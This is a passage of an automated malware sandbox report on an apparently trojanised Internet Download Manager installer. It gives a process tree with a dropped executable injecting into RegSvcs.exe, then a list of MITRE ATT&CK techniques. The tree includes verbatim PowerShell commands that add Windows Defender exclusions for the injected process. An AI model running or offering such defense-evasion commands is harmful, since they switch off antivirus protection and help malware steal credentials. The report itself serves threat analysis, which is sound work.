      regsvr32.exe /s "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\IDMShellExt64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4280
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html
      4⤵
      PID:2020
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html
        5⤵
        Drops desktop.ini file(s)
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:1084
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2008 -prefsLen 27099 -prefMapHandle 2012 -prefMapSize 270279 -ipcHandle 2088 -initialChannelId {6f48ff7b-6b5b-426e-ac0b-d14afef54d8b} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:4012
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27135 -prefMapHandle 2504 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {7cc56d0e-5a5c-4169-b17d-d21c72017db7} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:4860
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3688 -prefsLen 25213 -prefMapHandle 3692 -prefMapSize 270279 -jsInitHandle 3696 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3704 -initialChannelId {a3536cc4-b9af-4468-a51d-a09501c922c5} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:1584
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3896 -prefsLen 27325 -prefMapHandle 3900 -prefMapSize 270279 -ipcHandle 3968 -initialChannelId {4d6bf734-060b-4f90-ad0b-73e6b2c44638} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:3268
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3012 -prefsLen 34824 -prefMapHandle 3016 -prefMapSize 270279 -jsInitHandle 4264 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4368 -initialChannelId {03b0e30e-ead3-49b6-a67b-aca9f4cf590d} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:4724
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4960 -prefsLen 35012 -prefMapHandle 4956 -prefMapSize 270279 -ipcHandle 4652 -initialChannelId {57b05977-5d90-4392-bc55-30ac05e16aa4} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        Checks processor information in registry
        
        PID:5564
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5144 -prefsLen 32952 -prefMapHandle 5148 -prefMapSize 270279 -jsInitHandle 5152 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5160 -initialChannelId {2cec3eb6-40a4-4559-b96e-9f33d6f80a7c} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        Checks processor information in registry
        
        PID:5628
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5340 -prefsLen 32952 -prefMapHandle 5344 -prefMapSize 270279 -jsInitHandle 5348 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5352 -initialChannelId {ff1074c6-8a68-41b0-a1c8-dfd40d6ac6a9} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:5636
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5288 -prefsLen 32952 -prefMapHandle 5284 -prefMapSize 270279 -jsInitHandle 5280 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5176 -initialChannelId {a6c23511-29e8-430a-ab80-69b6844092d5} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:5656
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3812 -prefsLen 32952 -prefMapHandle 3800 -prefMapSize 270279 -jsInitHandle 3788 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3764 -initialChannelId {f039291e-d0a7-4cb1-a248-8b4c75d39237} -parentPid 1084 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1084" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        Checks processor information in registry
        
        PID:5920
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\IDMShellExt64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2136
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\IDMIECC64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4840
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\IDMGetAll64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1444
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\downlWithIDM64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\program2.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2392
  - - C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\program2.exe
      C:\Users\Admin\AppData\Local\Temp\_temp_o2yxtdph\program2.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:3408
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:5888
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:4976
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:5420

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Browser Extensions

T1176

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery